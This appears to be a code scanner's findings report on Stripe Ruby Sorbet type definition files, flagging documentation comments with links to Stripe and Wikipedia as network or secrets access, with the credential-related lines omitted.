def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 262
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 272
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 273
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 274
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 286
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 287
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 288
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 298
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 299
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 300
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 341
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 342
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 343
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 353
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 354
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 355
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 367
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 368
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 369
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 379
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 380
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 381
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 425
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 426
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 427
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 437
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 438
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 439
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 451
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 452
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 453
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 463
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 464
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 465
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 567
sig { returns(BankTransfer) } def bank_transfer; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 568
def bank_transfer; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 569
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/identity/verification_report.rbi
- Network accessline 11
# # Each VerificationReport contains a copy of any data collected by the user as well as # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files) - Network accessline 12
# Each VerificationReport contains a copy of any data collected by the user as well as # reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files) # API. To configure and - Network accessline 13
# reference IDs which can be used to access collected images through the [FileUpload](https://docs.stripe.com/api/files) - Network accessline 14
# API. To configure and create VerificationReports, use the # [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API. # - Network accessline 15
# [VerificationSession](https://docs.stripe.com/api/identity/verification_sessions) API. - Network accessline 16
# # Related guide: [Accessing verification results](https://docs.stripe.com/identity/verification-sessions#results). class VerificationReport < APIResource - Network accessline 17
# Related guide: [Accessing verification results](https://docs.stripe.com/identity/verification-sessions#results). - Network accessline 22
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 23
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 24
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 34
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 35
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 36
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 121
sig { returns(T.nilable(ExpirationDate)) } def expiration_date; end # Array of [File](https://docs.stripe.com/api/files) ids containing images for this document. - Network accessline 122
def expiration_date; end # Array of [File](https://docs.stripe.com/api/files) ids containing images for this document. sig { returns(T.nilable(T::Array[String])) } - Network accessline 123
# Array of [File](https://docs.stripe.com/api/files) ids containing images for this document. - Network accessline 263
sig { returns(T.nilable(T::Array[String])) } def allowed_types; end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extract - Network accessline 264
def allowed_types; end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. sig { returns(T.ni - Network accessline 265
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 269
sig { returns(T.nilable(T::Boolean)) } def require_live_capture; end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a pictur - Network accessline 270
def require_live_capture; end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs. - Network accessline 271
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 346
end end # ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check. - Network accessline 347
end # ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check. sig { returns(T.nilable(String)) } - Network accessline 348
# ID of the [File](https://docs.stripe.com/api/files) holding the image of the identity document used in this check. - Network accessline 352
sig { returns(T.nilable(Error)) } def error; end # ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check. - Network accessline 353
def error; end # ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check. sig { returns(T.nilable(String)) } - Network accessline 354
# ID of the [File](https://docs.stripe.com/api/files) holding the image of the selfie used in this check.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/identity/verification_session.rbi
- Network accessline 7
# A VerificationSession guides you through the process of collecting and verifying the identities # of your users. It contains details about the type of verification, such as what [verification # check](https://docs.stripe.com/docs/ - Network accessline 8
# of your users. It contains details about the type of verification, such as what [verification # check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for # each verificat - Network accessline 9
# check](https://docs.stripe.com/docs/identity/verification-checks) to perform. Only create one VerificationSession for - Network accessline 11
# # A VerificationSession transitions through [multiple # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through - Network accessline 12
# A VerificationSession transitions through [multiple # statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through # the verification flow. The VerificationSession contains th - Network accessline 13
# statuses](https://docs.stripe.com/docs/identity/how-sessions-work) throughout its lifetime as it progresses through - Network accessline 15
# verification checks are complete. # # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions) - Network accessline 16
# # Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions) class VerificationSession < APIResource - Network accessline 17
# Related guide: [The Verification Sessions API](https://docs.stripe.com/identity/verification-sessions) - Network accessline 36
sig { returns(T.nilable(T::Array[String])) } def allowed_types; end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extract - Network accessline 37
def allowed_types; end # Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. sig { returns(T.ni - Network accessline 38
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 42
sig { returns(T.nilable(T::Boolean)) } def require_live_capture; end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a pictur - Network accessline 43
def require_live_capture; end # Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs. - Network accessline 44
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 168
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 169
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 170
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 180
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 181
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 182
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 250
sig { returns(T.nilable(String)) } def client_reference_id; end # The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expi - Network accessline 251
def client_reference_id; end # The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expires after 24 hours and can only be used o - Network accessline 252
# The short-lived client secret used by Stripe.js to [show a verification modal](https://docs.stripe.com/js/identity/modal) inside your app. This client secret expires after 24 hours and can only be used once. Don’t store it, log it, embed - Access to secretsline 254
[Credential-related source omitted] - Network accessline 262
sig { returns(T.nilable(LastError)) } def last_error; end # ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results) - Network accessline 263
def last_error; end # ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results) sig { returns(T.nilable(T.any(String, :: - Network accessline 264
# ID of the most recent VerificationReport. [Learn more about accessing detailed verification results.](https://docs.stripe.com/identity/verification-sessions#results) - Network accessline 268
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structu - Network accessline 269
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 270
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 292
sig { returns(T.nilable(RelatedPerson)) } def related_person; end # Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work). - Network accessline 293
def related_person; end # Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work). sig { returns(String) } - Network accessline 294
# Status of this VerificationSession. [Learn more about the lifecycle of sessions](https://docs.stripe.com/identity/how-sessions-work). - Network accessline 295
sig { returns(String) } def status; end # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. - Network accessline 296
def status; end # The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. sig { returns(String) } - Network accessline 297
# The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. - Network accessline 298
sig { returns(String) } def type; end # The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send - Network accessline 299
def type; end # The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to a - Network accessline 300
# The short-lived URL that you use to redirect a user to Stripe to submit their identity information. This URL expires after 48 hours and can only be used once. Don’t store it, log it, send it in emails or expose it to anyone other than the - Network accessline 307
sig { returns(T.nilable(VerifiedOutputs)) } def verified_outputs; end # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 308
def verified_outputs; end # A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). # - Network accessline 309
# A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 310
# # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). sig { - Network accessline 311
# Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). - Network accessline 317
# A VerificationSession object can be canceled when it is in requires_input [status](https://docs.stripe.com/docs/identity/how-sessions-work). - Network accessline 318
# # Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). sig { - Network accessline 319
# Once canceled, future submission attempts are disabled. This cannot be undone. [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#cancel). - Access to secretsline 327
[Credential-related source omitted] - Network accessline 329
# If your API key is in test mode, verification checks won't actually process, though everything else will occur as if in live mode. # # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identit - Network accessline 330
# # Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents) sig { - Network accessline 331
# Related guide: [Verify your users' identity documents](https://docs.stripe.com/docs/identity/verify-identity-documents) - Network accessline 346
# # A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 347
# A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action # state will automat - Network accessline 348
# [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 359
# used for any purpose. # # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 360
# # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). sig { - Network accessline 361
# [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 370
# # A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 371
# A VerificationSession object can be redacted when it is in requires_input or verified # [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action # state will automat - Network accessline 372
# [status](https://docs.stripe.com/docs/identity/how-sessions-work). Redacting a VerificationSession in requires_action - Network accessline 383
# used for any purpose. # # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). - Network accessline 384
# # [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact). sig { - Network accessline 385
# [Learn more](https://docs.stripe.com/docs/identity/verification-sessions#redact).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/invoice.rbi
- Network accessline 7
# generated one-off, or generated periodically from a subscription. # # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments - Network accessline 8
# # They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments # that may be caused by subscription upgrades/downgrades (if necessary). - Network accessline 9
# They contain [invoice items](https://api.stripe.com#invoiceitems), and proration adjustments - Network accessline 13
# Stripe automatically finalizes your invoice and attempts payment. Note # that finalizing the invoice, # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does - Network accessline 14
# that finalizing the invoice, # [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does # not happen immediately as the invoice is created. Stripe waits - Network accessline 15
# [when automatic](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection), does - Network accessline 21
# # If your invoice is configured to be billed by sending an email, then based on your # [email settings](https://dashboard.stripe.com/account/billing/automatic), - Network accessline 22
# If your invoice is configured to be billed by sending an email, then based on your # [email settings](https://dashboard.stripe.com/account/billing/automatic), # Stripe will email the invoice to your customer and await payment. These - Network accessline 23
# [email settings](https://dashboard.stripe.com/account/billing/automatic), - Network accessline 28
# amount due for the invoice (i.e., the amount that will be actually # charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum - Network accessline 29
# charged). If the amount due for the invoice is less than Stripe's [minimum allowed charge # per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the # invoice is automatically marked paid, and we - Network accessline 30
# per currency](https://docs.stripe.com/docs/currencies#minimum-and-maximum-charge-amounts), the - Network accessline 33
# # More details on the customer's credit balance are # [here](https://docs.stripe.com/billing/customer/balance). - Network accessline 34
# More details on the customer's credit balance are # [here](https://docs.stripe.com/billing/customer/balance). # - Network accessline 35
# [here](https://docs.stripe.com/billing/customer/balance). - Network accessline 36
# # Related guide: [Send invoices to customers](https://docs.stripe.com/billing/invoices/sending) class Invoice < APIResource - Network accessline 37
# Related guide: [Send invoices to customers](https://docs.stripe.com/billing/invoices/sending) - Network accessline 55
sig { returns(T.nilable(String)) } def disabled_reason; end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe - Network accessline 56
def disabled_reason; end # Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or - Network accessline 57
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Access to secretsline 80
[Credential-related source omitted] - Network accessline 106
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 107
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 108
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 118
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 119
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 120
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 133
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 134
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 135
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 145
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 146
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 147
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 220
end class LastFinalizationError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) i - Network accessline 221
class LastFinalizationError < ::Stripe::StripeObject # For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they p - Network accessline 222
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 226
sig { returns(T.nilable(String)) } def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 227
def charge; end # For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 228
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 229
sig { returns(T.nilable(String)) } def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if t - Network accessline 230
def code; end # For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. sig { returns(T.ni - Network accessline 231
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 232
sig { returns(T.nilable(String)) } def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 233
def decline_code; end # A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. sig { returns(T.nilable(String)) } - Network accessline 234
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 257
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 258
# # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) sig { returns(T.nilable(::Stripe::PaymentIntent)) } - Network accessline 259
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 261
def payment_intent; end # PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 262
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to # Customer objects to store in - Network accessline 263
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 264
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 265
# # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). sig { returns(T.nilable(::Stripe::PaymentMethod)) } - Network accessline 266
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 275
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 276
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 277
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 279
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 280
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 281
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 283
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 284
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 285
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 286
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 287
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 288
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 289
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 290
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 293
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 294
# # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) sig { returns(T.nilable(::Stripe::SetupIntent)) } - Network accessline 295
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 324
end class SubscriptionDetails < ::Stripe::StripeObject # Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscrip - Network accessline 325
class SubscriptionDetails < ::Stripe::StripeObject # Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscription metad - Network accessline 326
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) defined as subscription metadata when an invoice is created. Becomes an immutable snapshot of the subscription metadata at the time of invoice finalization. - Network accessline 413
sig { returns(T.nilable(Installments)) } def installments; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements - Network accessline 414
def installments; end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentic - Network accessline 415
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 594
sig { returns(T.nilable(PaymentMethodOptions)) } def payment_method_options; end # The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine th - Network accessline 595
